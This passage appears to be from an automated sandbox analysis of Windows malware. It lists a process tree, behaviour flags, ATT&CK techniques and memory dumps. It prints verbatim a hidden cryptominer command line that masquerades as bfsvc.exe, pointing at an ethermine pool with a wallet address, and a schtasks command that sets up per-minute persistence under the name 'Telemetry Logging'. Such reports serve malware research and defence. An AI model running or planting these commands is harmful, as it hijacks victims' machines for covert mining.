        PID:3612
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        36⤵
        
        PID:4952
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        36⤵
        
        PID:3304
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        37⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:4036
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        38⤵
        
        PID:3120
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        38⤵
        
        PID:5112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        39⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:3412
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        40⤵
        
        PID:3680
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        40⤵
        
        PID:4216
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        41⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetThreadContext
        
        PID:736
        
        C:\Windows\bfsvc.exe
        
        C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe_update -cclock +500 -cvddc +500
        42⤵
        
        PID:4320
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        42⤵
        
        PID:500
        
        C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\RegHost.exe"
        43⤵
        Executes dropped EXE
        
        PID:808
- - C:\Users\Admin\AppData\Roaming\whw.exe
    "C:\Users\Admin\AppData\Roaming\whw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Users\Admin\AppData\Roaming\e3dwefw.exe
    "C:\Users\Admin\AppData\Roaming\e3dwefw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2480
  - - C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
      4⤵
      Creates scheduled task(s)
      PID:500
- - C:\Users\Admin\AppData\Roaming\asdasdw.exe
    "C:\Users\Admin\AppData\Roaming\asdasdw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:644
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 840
      4⤵
      Suspicious use of NtCreateProcessExOtherParentProcess
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3968

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe
1⤵
- Executes dropped EXE
PID:3856
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/356-216-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/364-217-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/400-220-0x00007FF7E99F0000-0x00007FF7E9DC1000-memory.dmp

Download

memory/400-221-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/400-222-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/508-280-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/508-279-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/644-156-0x00000000010E0000-0x00000000011E8000-memory.dmp

Download

memory/644-158-0x00000000010C0000-0x00000000010C2000-memory.dmp

Download

memory/644-160-0x00000000010E0000-0x00000000011E8000-memory.dmp

Download

memory/644-159-0x0000000002E80000-0x0000000002EC3000-memory.dmp

Download

memory/644-154-0x00000000010E0000-0x00000000011E8000-memory.dmp

Download

memory/736-263-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1136-334-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1136-333-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1176-211-0x00007FF7E8ED0000-0x00007FF7E92A1000-memory.dmp

Download

memory/1176-209-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1176-210-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1268-163-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1268-168-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/1444-167-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1444-165-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1672-119-0x0000000004BF0000-0x0000000004C82000-memory.dmp

Download

memory/1672-122-0x0000000005030000-0x000000000503A000-memory.dmp

Download

memory/1672-121-0x0000000004F10000-0x0000000004F2E000-memory.dmp

Download

memory/1672-120-0x0000000004F40000-0x0000000004FB6000-memory.dmp

Download

memory/1672-118-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

Download

memory/1672-117-0x00000000050F0000-0x00000000055EE000-memory.dmp

Download

memory/1672-116-0x00000000001A0000-0x00000000002AA000-memory.dmp

Download

memory/1672-115-0x00000000001A0000-0x00000000002AA000-memory.dmp

Download

memory/1708-227-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/1968-231-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1968-232-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/1968-233-0x00007FF7E8F80000-0x00007FF7E9351000-memory.dmp

Download

memory/2292-228-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2328-192-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/2340-312-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/2340-311-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/2460-186-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/2460-185-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/2460-184-0x00007FF7E8FF0000-0x00007FF7E93C1000-memory.dmp

Download

memory/2984-238-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/3028-239-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/3656-290-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3656-289-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3680-256-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3680-258-0x00007FF7E9820000-0x00007FF7E9BF1000-memory.dmp

Download

memory/3680-257-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3760-245-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3760-246-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/3760-247-0x00007FF7E8B50000-0x00007FF7E8F21000-memory.dmp

Download

memory/3880-173-0x00000000068B0000-0x0000000006DAE000-memory.dmp

Download

memory/3880-174-0x0000000005B50000-0x0000000005BB6000-memory.dmp

Download

memory/3880-140-0x0000000000F50000-0x0000000000F70000-memory.dmp

Download

memory/3880-153-0x0000000005810000-0x000000000585B000-memory.dmp

Download

memory/3880-194-0x0000000007F50000-0x000000000847C000-memory.dmp

Download

memory/3880-195-0x0000000007000000-0x0000000007050000-memory.dmp

Download

memory/3880-150-0x00000000057D0000-0x000000000580E000-memory.dmp

Download

memory/3880-141-0x0000000000F50000-0x0000000000F70000-memory.dmp

Download

memory/3880-182-0x00000000066B0000-0x00000000066CE000-memory.dmp

Download

memory/3880-148-0x00000000058A0000-0x00000000059AA000-memory.dmp

Download

memory/3880-157-0x0000000005790000-0x0000000005D96000-memory.dmp

Download

memory/3880-144-0x0000000003200000-0x0000000003212000-memory.dmp

Download

memory/3880-181-0x0000000006750000-0x00000000067E2000-memory.dmp

Download

memory/3880-193-0x0000000007670000-0x0000000007832000-memory.dmp

Download

memory/3880-179-0x0000000006630000-0x00000000066A6000-memory.dmp

Download

memory/3880-143-0x0000000005DA0000-0x00000000063A6000-memory.dmp

Download

memory/4116-133-0x0000000005EB0000-0x0000000005EB1000-memory.dmp

Download

memory/4116-127-0x0000000005730000-0x0000000005D36000-memory.dmp

Download

memory/4116-175-0x0000000009100000-0x0000000009150000-memory.dmp

Download

memory/4116-123-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/4116-132-0x0000000005E30000-0x0000000005E7B000-memory.dmp

Download

memory/4116-125-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/4116-180-0x0000000009BF0000-0x0000000009DB2000-memory.dmp

Download

memory/4116-169-0x0000000008D30000-0x0000000008DA6000-memory.dmp

Download

memory/4116-126-0x0000000000400000-0x0000000000422000-memory.dmp

Download

memory/4116-171-0x00000000096F0000-0x0000000009BEE000-memory.dmp

Download

memory/4116-131-0x00000000056D0000-0x000000000570E000-memory.dmp

Download

memory/4116-128-0x00000000051D0000-0x00000000051E2000-memory.dmp

Download

memory/4116-170-0x0000000009150000-0x00000000091E2000-memory.dmp

Download

memory/4116-172-0x0000000008DD0000-0x0000000008DEE000-memory.dmp

Download

memory/4116-183-0x000000000A2F0000-0x000000000A81C000-memory.dmp

Download

memory/4116-129-0x0000000005300000-0x000000000540A000-memory.dmp

Download

memory/4116-130-0x0000000005260000-0x00000000052C6000-memory.dmp

Download

memory/4312-155-0x00007FF6E1010000-0x00007FF6E13E1000-memory.dmp

Download

memory/4312-162-0x00007FF6E17E0000-0x00007FF6E2E7A000-memory.dmp

Download

memory/4312-161-0x00007FF6E17E0000-0x00007FF6E2E7A000-memory.dmp

Download

memory/4320-268-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/4320-267-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/4748-205-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/4836-191-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/4924-199-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/4924-198-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/4924-200-0x00007FF7E9520000-0x00007FF7E98F1000-memory.dmp

Download

memory/4948-302-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/4948-301-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/5040-206-0x0000000140000000-0x0000000140815000-memory.dmp

Download

memory/5044-323-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/5044-322-0x00007FF7E9F20000-0x00007FF7EB5BA000-memory.dmp

Download

memory/5072-252-0x0000000140000000-0x0000000140022000-memory.dmp

Download

memory/5112-253-0x0000000140000000-0x0000000140815000-memory.dmp

Download